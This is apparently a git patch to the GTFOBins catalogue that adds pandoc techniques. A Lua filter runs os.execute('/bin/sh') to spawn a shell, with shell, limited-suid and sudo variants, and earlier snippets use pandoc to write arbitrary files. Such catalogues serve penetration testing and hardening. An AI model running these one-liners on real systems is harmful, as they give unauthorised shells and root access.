From a0be237bf516cb8b4f12de33d725d0177e058995 Mon Sep 17 00:00:00 2001 From: Alvin Nguyen <50280292+SCROLLWH33L@users.noreply.github.com> Date: Sat, 23 Dec 2023 04:58:05 -0800 Subject: [PATCH] Add Pandoc shell Co-authored-by: Andrea Cardaci --- _gtfobins/pandoc.md | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/_gtfobins/pandoc.md b/_gtfobins/pandoc.md index 4da3f74..70c77bd 100644 --- a/_gtfobins/pandoc.md +++ b/_gtfobins/pandoc.md @@ -8,12 +8,26 @@ functions: - code: | LFILE=file_to_write echo DATA | pandoc -t plain -o "$LFILE" + shell: + - description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. + code: | + TF=$(mktemp) + echo 'os.execute("/bin/sh")' >$TF + pandoc -L $TF /dev/null suid: - code: | LFILE=file_to_write echo DATA | ./pandoc -t plain -o "$LFILE" + limited-suid: + - description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. + code: | + TF=$(mktemp) + echo 'os.execute("/bin/sh")' >$TF + ./pandoc -L $TF /dev/null sudo: - - code: | - LFILE=file_to_write - echo DATA | sudo pandoc -t plain -o "$LFILE" + - description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. + code: | + TF=$(mktemp) + echo 'os.execute("/bin/sh")' >$TF + sudo pandoc -L $TF /dev/null ---